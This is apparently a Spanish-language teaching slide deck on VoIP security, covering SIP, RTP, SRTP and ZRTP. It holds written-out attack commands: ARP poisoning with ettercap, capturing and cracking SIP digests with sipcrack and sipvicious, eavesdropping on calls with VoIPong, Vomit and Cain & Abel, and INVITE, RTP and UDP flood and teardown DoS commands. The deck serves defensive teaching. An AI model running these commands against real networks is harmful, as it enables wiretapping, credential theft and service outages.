Seguridad en VoIP

Breve Introducción a VoIP

¿Qué es?

Voz sobre Protocolo de Internet, también llamado Voz sobre IP, VoIP, Telefonía IP, Telefonía por Internet, Telefonía Broadband y Voz sobre Broadband es el enrutamiento de conversaciones de voz sobre Internet o a través de alguna otra red basada en IP [Wikipedia].

Tecnología bastante reciente:

A pesar de que en 1973 ya se comenzó con el experimental Network Voice Protocol, no es hasta los 90 cuando comienza a despegar.

Utiliza toda la infraestructura IP existente:

Intranets / Extranets / Internet.

Comparte conexión con los datos.

Consecuencias:

Muy barata implantación.

Conectividad no basada en el tiempo o la distancia.

Problemas de QoS.

VoIP es mucho más exigente que el tráfico de datos.

Problemas:

Relacionados con la QoS:

Gran necesidad de ancho de banda para los flujos de datos.

Retardos (< 300 ms.):

Latencia: tiempo necesario para enviar los paquetes IP de voz de un punto a su destino.

Jitter: variabilidad de la latencia.

Tiempo de procesamiento si se emplean medidas de seguridad (SRTP, MIKEY, IPsec, etc.).

Relacionados con la arquitectura de red: NAT, servidores STUN, etc.

El número de protocolos diferentes implicados en la VoIP es elevado:

Protocolos de señalización: SIP, H.225.0, etc.

Protocolos de streaming de datos: RTP, RTCP, SRTP, ZRTP, etc.

Protocolos de autenticación, seguridad, cifrado: MIKEY, S/MIME, TLS, etc.

Familias de protocolos: H.323, que utiliza H.225.0, H.235, H.245, etc.

SIP:

Session Initiation Protocol, protocolo del IETF para VoIP, texto y sesiones multimedia.

Protocolo de señalización de capa de aplicación para iniciación, modificación y terminación de sesiones de comunicación multimedia entre usuarios.

SIP: Arquitectura.

SIP: Llamada.

RTP:

A pesar del nombre, protocolo de nivel de aplicación.

Objetivo: transmitir información de audio y vídeo en tiempo real.

Inicialmente se publicó como protocolo multicast, aunque se ha usado en varias aplicaciones unicast.

Se usa frecuentemente en sistemas de streaming, junto a RTSP, videoconferencia y sistemas push to talk (en conjunción con H.323 o SIP).

Representa también la base de la industria de VoIP.

SRTP:

Secure Real-time Transport Protocol.

Define un perfil de RTP con la intención de proporcionar cifrado, autenticación del mensaje e integridad, y protección contra reenvíos a los datos RTP en aplicaciones unicast y multicast.

Fue publicado por primera vez por el IETF en marzo de 2004 como el RFC 3711.

ZRTP:

ZRTP es una extensión de RTP que describe el establecimiento de un intercambio Diffie-Hellman de claves para SRTP.

Fue enviado al IETF por Phil Zimmermann, Jon Callas y Alan Johnston el 5 de marzo 2006.

ZRTP:

Funcionalidades de ZRTP:

No requiere el intercambio previo de otros secretos compartidos o una Infraestructura de Clave Pública (PKI)

Evita ataques de man-in-the-middle.

No delega en la señalización SIP para la gestión de claves ni en ningún servidor.

Soporta encriptación oportunística detectando automáticamente si el cliente VoIP del otro lado soporta ZRTP.

ZRTP puede usarse con cualquier protocolo de señalización como SIP, H.323, Jabber, y Peer-to-Peer SIP.

ZRTP es independiente de la capa de señalización, puesto que realiza toda su negociación de claves dentro del flujo de datos RTP.

Seguridad en Voz sobre IP

Vulnerabilidades en VoIP:

Ruptura de protocolos de autenticación usados en VoIP (HTTP-Digest).

Captura de tráfico VoIP.

Secuestro de sesiones.

Obtención del CallerID oculto.

Ataques de Denegación de Servicio (DoS).

Ataques a terminales.

Ataques en redes VoWiFi (VoIP sobre WiFi).

SPIT: Spam over IP Telephony.

Seguridad en Voz sobre IP

Medidas de seguridad en VoIP:

Mecanismos de gestión de claves:

Métodos: Pre-Shared key, Public key, Diffie-Hellman.

Protocolos para VoIP: MIKEY.

Cifrado de los flujos de datos:

TLS.

SRTP.

ZRTP.

IPsec y VoIP.

HTTP-Digest en VoIP

HTTP-Digest es el método de autenticación para VoIP:

Más sencillo.

Más eficiente:

Ancho de banda.

Procesamiento (CPU).

Más inseguro :-)

HTTP-Digest en VoIP

Funcionamiento:

Se genera un texto concreto (lo que se conoce como “digest”) como desafío y se envía al usuario que se quiere autenticar.

El usuario lo cifra utilizando su contraseña y lo envía como respuesta..

Si el cifrado es correcto, el autenticador podrá descifrarlo correctamente al recibir la respuesta y compararlo con el “digest” original.

El desafío cifrado empleado se usa como base para calcular una PMK (Pre-Master Key).

HTTP-Digest en VoIP

Dentro de un desafío existen varios campos diferenciados:

realm: identifica las credenciales dentro de un mensaje SIP. Normalmente es el dominio del cual el servidor proxy SIP es responsable.

qop: significa protección de la calidad. Especifica qué esquemas de protección soporta el servidor.

nonce: string generado de forma única cada vez que un servidor genera un desafío “digest”. Se genera a partir de un dato arbitrario y una marca de tiempo.

opaque: string similar a una SYNCookie.

algorithm: por el momento sólo está soportado MD5.

HTTP-Digest en VoIP

Ejemplo:

Desafío:

Digest realm="iptel.org", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="", algorithm=MD5

Respuesta:

Digest username="jan", realm="iptel.org", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="sip:iptel.org", qop=auth, nc=00000001, cnonce="0a4f113b", response="6629fae49393a05397450978507c4ef1", opaque=""

HTTP-Digest en VoIP

Herramientas para cracking HTTP-Digest:

GNU/Linux:

SIPcrack.

sipvicious.

MS Windows:

Cain & Abel.

HTTP-Digest en VoIP

SIPcrack:

Herramienta programada por Martin J. Münch (http://www.codito.de/) que incorpora dos programas diferentes:

sipdump: para capturar el tráfico relativo a la autenticación SIP dentro de un fichero de tráfico.

sipcrack: para atacar criptográficamente el desafío contenido en la autenticación.

HTTP-Digest en VoIP

SIPcrack, uso:

ARP Poison para capturar el tráfico:

echo 1 > /proc/sys/net/ipv4/ip_forward

ettercap -o -T -P repoison_arp -M arp:remote /192.168.0.1/ /192.168.0.2/

Captura de tráfico:

tshark -i eth0 -w captura.pcap ip host 192.168.0.2

Captura de los desafíos sip:

sipdump -f captura.pcap -d sip.pcap

sipdump -i eth0 -d sip.pcap (hace los 2 pasos anteriores –captura de tráfico y de desafíos- en uno)

HTTP-Digest en VoIP

SIPcrack, uso:

Cracking de diccionario:

sipcrack -d sip.pcap -w /usr/share/dict/spanish

Cracking por fuerza bruta:

seq 1 10000 | ./sipcrack -d sip.pcap –s

Cracking con John the Ripper:

john -i --stdout | ./sipcrack -d sip.pcap -s

HTTP-Digest en VoIP

sipvicious:

Desarrollado por Sandro Gauci.

Escrito en Python.

En modo texto.

Funcionalidades:

Búsqueda de equipamiento SIP en rangos de redes.

Cracking por rangos numéricos y diccionario de autenticación SIP.

Generación de informes.

HTTP-Digest en VoIP

sipvicious, uso:

Scan:

./svmap.py 192.168.0.0/24 -v

Listar usuarios:

/svwar.py 192.168.0.100

Cracking auth:

./svcrack.py 192.168.0.100 –u 6000

HTTP-Digest en VoIP

sipvicious:

http://sipvicious.org

HTTP-Digest en VoIP

Cain & Abel:

Desarrollado por Massimiliano Montoro (http://www.oxid.it)

Recuperador de contraseñas para sistemas operativos Microsoft.

Ha ido incorporando múltiples funcionalidades a lo largo del tiempo como:

Ataques de ARP Poison.

Man-in-the-middle.

Análisis de tráfico HTTPS o SSHv1, etc.

Entre sus características también destaca su capacidad para atacar a HTTP-Digest dentro de paquetes SIP.

HTTP-Digest en VoIP

Cain & Abel, uso:

ARP Poison:

Pulsamos el botón "Start/Stop Sniffer".

Pulsamos el botón "Add to list".

Realizamos un escaneo automático y seleccionamos el cliente VoIP y la PBX.

Dentro de la pestaña ARP Poison Routing, añadimos a los dos hosts involucrados.

HTTP-Digest en VoIP

Cain & Abel:

HTTP-Digest en VoIP

Cain & Abel:

Capturar tráfico HTTP-Digest:

En la pestaña Passwords vemos si se ha capturado alguna.

Crackear HTTP-Digest:

Seleccionamos la contraseña capturada (pestaña Passwords), pulsamos botón derecho y elegimos “Send to Cracker”.

HTTP-Digest en VoIP

Cain & Abel:

Secuestro de sesiones en VoIP

Al realizar una petición REGISTER usando SIP, se puede poner una dirección SIP diferente para el From: y para el Contact:.

Mediante un ataque MiTM y software de reinyección de mensajes SIP (SiVuS, por ejemplo), podemos modificar la petición y recibir los mensajes y tráfico del cliente legítimo.

Secuestro de sesiones en VoIP

Problemas con el CallerID en VoIP

En una red PSTN, el Caller ID funciona así:

Tu compañía telefónica envía tu número de teléfono en cada llamada (el CPN o Calling Party Number ), como si fuera el remitente en un sobre de correo.

Junto con el CPN se transmite un bit de privacidad que informa al conmutador telefónico del otro extremo si deseas compartir tu número con el receptor de la llamada o no.

Si tienes activado el bloqueo de llamada, la compañía de teléfono a la que estás llamando sabe tu número, pero no lo mostrará a la persona a la que llamas.

Problemas con el CallerID en VoIP

En VoIP los elementos intermedios pueden ser no confiables.

Asterisk tuvo una vulnerabilidad en 2003 (CAN-2003-0779 Asterisk CallerID CDR SQL injection) que permitía conocer el CallerID incluso de los usuarios que deseaban ocultarlo.

Captura de tráfico VoIP

Para realizar una escucha no autorizada en VoIP simplemente es necesario realizar los siguientes pasos:

Redirigir y capturar el tráfico VoIP que resulte de interés.

Analizar los flujos de datos y generar un volcado a fichero de un flujo de datos continuo.

Recodificar el flujo de datos para convertirlo a un formato fácilmente reproducible.

Herramientas para la captura de tráfico VoIP:

GNU/Linux:

Oreka.

VoIPong.

Vomit.

WireShark.

MS Windows:

Cain & Abel.

Oreka:

Desarrollado por el equipo de Audacity.

Sistema modular y multiplataforma diseñado para obtener y almacenar flujos de datos de audio, así como de los metadatos implicados en esas transmisiones.

Almacena sesiones RTP de VoIP haciendo una escucha pasiva de los paquetes.

Los dos lados de la conversación se mezclan juntos y cada llamada se almacena en un fichero separado.

Si se detecta que la llamada ha empleado SIP o Skinny (SCCP), también son almacenados los metadatos de la misma.

Soporta múltiples códecs: A-Law, U-Law y GSM6.10.

Oreka:

Su arquitectura modular hace que esté separado en tres servicios diferentes:

Orkaudio, el servicio encargado de escuchar conversaciones VoIP y decodificarlas a ficheros WAV.

Orkweb, que proporciona una interfaz de administración web.

Orktrack, el servicio encargado de registrar las conversaciones VoIP en MySQL.

Oreka, uso:

Lanzar el daemon orkaudio:

# orkaudio debug

Analizar las capturas realizadas en /var/log/orkaudio y tratarlas con Audacity.

VoIPong:

Desarrollado por Murat Balaban: http://www.enderunix.org.

Detecta llamadas VoIP en una red y vuelca el contenido de las mismas en ficheros separados.

Si el códec empleado es G711 generará un fichero WAV, de lo contrario generará un fichero RAW de datos.

Actualmente soporta SIP, H323, Cisco's Skinny Client Protocol, RTP y RTCP.

Ha sido programado en C por razones de rendimiento y es código multiplataforma.

VoIPong, uso:

voipong -f -d4

EnderUNIX VOIPONG Voice Over IP Sniffer starting...

Release 2.0, running on elektron [Linux 2.6.17-2-k7 #1 SMP Wed Sep 13 17:18:46 UTC 2006 i686]

(c) Murat Balaban http://www.enderunix.org/

14/01/07 12:33:10: EnderUNIX VOIPONG Voice Over IP Sniffer starting...

14/01/07 12:33:10: Release 2.0 running on elektron [Linux 2.6.17-2-k7 #1 SMP Wed Sep 13 17:18:46 UTC 2006 i686]. (c) Murat Balaban http://www.enderunix.org/ [pid: 11483]

14/01/07 12:33:10: Default matching algorithm: lfp

14/01/07 12:33:10: loadmodule: /usr/local/etc/voipong/modules/modvocoder_pcma.so (@0xa7fe222a)

14/01/07 12:33:10: loadmodule: /usr/local/etc/voipong/modules/modvocoder_pcmu.so (@0xa7fe020d)

14/01/07 12:33:10: loaded 2 module(s)

14/01/07 12:33:10: loadnetfile: fopen(): No such file or directory

14/01/07 12:33:10: eth0 has been opened in promisc mode. (192.168.0.0/255.255.255.0)

14/01/07 12:33:48: created a call recorder instance!

14/01/07 12:33:49: [11492] VoIP call has been detected.

14/01/07 12:33:49: [11492] 192.168.0.2:10066 <--> 192.168.0.3:5008

14/01/07 12:33:49: [11492] Encoding 3-GSM-8KHz, recording.......

14/01/07 12:34:22: [11492] maximum idle time [10 secs] has been elapsed for this call, the call might have been ended.

14/01/07 12:34:22: [11492] create_wave: no modules have been loaded to decode payload type: 3

14/01/07 12:34:22: [11492] create_wave: leaving *.raw files untouched.

14/01/07 12:34:22: child [pid: 11492] terminated normally [exit code: 0]

Vomit:

Desarrollado por Niels Provos: http://vomit.xtdnet.nl.

Voice Over Misconfigured Internet Telephones.

Convierte conversaciones realizadas mediante un teléfono IP CISCO a ficheros WAV fácilmente reproducibles.

Vomit, uso:

vomit -r phone.dump -d eth0 | waveplay -S8000 -B16 -C1

Cain & Abel:

Es capaz de extraer diferentes parámetros de una sesión RTP.

También puede capturar y decodificar los flujos de de datos de audio RTP codificados con los siguientes códecs:

G711 uLaw, G771 aLaw, ADPCM, DVI4, LPC, GSM610, Microsoft GSM, L16, G729, Speex, iLBC, G723.1, G726-16, G726-24, G726-32, G726-40, LPC-10.

Después de ser decodificado, el audio es guardado en ficheros WAV mono o estéreo en el disco duro.

Cain & Abel, uso:

Configuramos ARP Poisoning y Sniffing.

Seleccionamos la pestaña VoIP y vemos las conversaciones VoIP.

En tiempo real podemos pulsar botón derecho sobre ellas y escucharlas, o bien almacenarlas en el disco duro.

Cain & Abel:

WireShark:

A pesar de ser un analizador genérico, las últimas versiones disponen de plugins para VoIP muy útiles.

Uso:

Dentro de la opción “Statistics” del menú principal tenemos varias opciones para analizar la captura.

Con “VoIP Calls” podremos hacer un estudio detallado del tráfico obtenido.

WireShark:

WireShark:

WireShark:

Ataques DoS en VoIP

Las redes VoIP son muy vulnerables a ataques DoS:

Los requisitos de QoS son muy exigentes.

Solamente con provocar retardos el ataque es un éxito.

Las medidas contra ataques DoS suponen latencias, en ocasiones inadmisibles.

Ataques DoS en VoIP

Ataques DoS específicos de VoIP:

Saturación mediante paquetes RTP.

Malformación en mensajes INVITE: con Content-Lengh negativo, mayor o igual a 1073741823 bytes, etc.

Cierre de la comunicación mediante mensajes BYE.

Cierre de la comunicación mediante mensajes CANCEL.

Ataques DoS en VoIP

Herramientas:

Herramientas de generación de tráfico, fuzzers: SIPsak, SIPp o SiVuS.

Herramientas de ataques DoS:

Scripts (típicamente en Perl o Python).

Implementan específicamente alguno de los ataques ya comentados.

Ejemplos: UDPflood, RTPflood, INVITEflood o Teardown.

Ataques DoS en VoIP

Herramientas:

SIPSak:

sipsak -F -s sip:6001@192.168.0.2 –vvvv

SIPp:

sipp 192.168.0.2

Hay bastantes más (nastysip, etc.), aunque muchas están en fase alpha o beta.

Ataques DoS en VoIP

SiVuS:

Ataques DoS en VoIP

Herramientas:

UDPflood:

udpflood 192.168.0.3 192.168.0.2 5060 5060 10000000000

RTPflood:

rtpflood 192.168.0.3 192.168.0.2 8000 8002 1000000 15000 2000 1886986910

INVITEflood:

inviteflood eth0 500 192.168.0.2 192.168.0.2 1000000 -a hacker

Ataques DoS en VoIP

Herramientas:

Teardown:

teardown eth0 500 192.168.0.2 192.168.0.2 6113C052-4E28-2AAF-3FB6-5DC44A483EF9@192.168.0.3 400 400

IAXflood:

iaxflood 192.168.0.3 192.168.0.2 10000000

SIP-kill:

sip-kill.pl -ieth0 –mBYE

Exploits propios de Asterisk (ver Milw0rm, SecurityFocus, etc.).

Ataques MiTM en VoIP

Al igual que en el resto de redes.

Ataques de ARP Poisoning sirven para hacer eavesdropping.

Ataques MiTM usando proxies SIP:

SIP-Proxy:

Herramienta similar a Proxomitron para HTTP.

Permite modificar en tiempo real los mensajes SIP entre el User Agent y el Proxy SIP real.

Ataques a terminales VoIP

Dos tipos de ataques:

Ataques DoS: sobre todo con malformación en mensajes:

Express Talk v.1.03: los mensajes INVITE con Content-Lengh negativo provocan que la terminación anómala del programa.

CallConductor v. 1.03: ocurre lo mismo que con Express Talk.

X-Lite 1103: si se envían mensajes INVITE con un valor de Content-Length mayor o igual a 1073741823 bytes, el rendimiento se degrada de forma notable, consumiendo toda la memoria RAM y Virtual disponible en el sistema.

Ataques a terminales VoIP

Dos tipos de ataques:

Ataques durante el aprovisionamiento (provisioning):

Captura de configuraciones (ej. Cisco CallManager, por TFTP).

Aprovisionamientos falsos, etc.

Ataques a redes VoWiFi

Redes VoWiFi: las redes más vulnerables de todas. Se suman:

Vulnerabilidades conocidas de TCP/IP.

Vulnerabilidades WiFi:

Captura de tráfico.

Cracking WEP y WPA-PSK.

Ataques de desasociación.

Reinyección de tráfico.

Vulnerabilidades VoIP.

Requisitos exigentes de VoIP.

Redes VoWiFi:

VoIP Wi-Fi VoWiFi QoS Seguridad

Redes VoWiFi: las redes más vulnerables de todas. Se suman:

Vulnerabilidades conocidas de TCP/IP.

Vulnerabilidades WiFi:

Captura de tráfico.

Cracking WEP y WPA-PSK.

Ataques de desasociación.

Reinyección de tráfico.

Vulnerabilidades VoIP.

Requisitos exigentes de VoIP.

SPIT

SPIT es SPam over Ip Telephony, spam a través de VoIP.

En las redes VoIP hay dos tipos de spam posible:

De voz: mensajes comerciales.

De IM, mensajería instantánea:

Malware.

Mensajes comerciales.

SPIT

Las soluciones actuales son similares a las empleadas contra el spam de correo electrónico:

SPF: Sender Policy Framework.

DomainKeys.

Greylists: listas grises.

...

SPIT

Hay herramientas básicas de generación de SPIT:

Spitter:

Se emplea conjuntamente con Asterisk.

Es preciso definir contextos y un dialplan para los spitters.

Actualmente es beta y solamente se desarrolla con intereses educacionales.

Referencias

Presentaciones y trabajos de Irontec, Sara Rincón, María Unda, David Castellanos, Gaizka Isusquiza, Marcelo Pellón, Digium, Cisco, KTH de Suecia, publicaciones en IEEE y ACM, O’Reilly, VoIP Hacking, Syngress.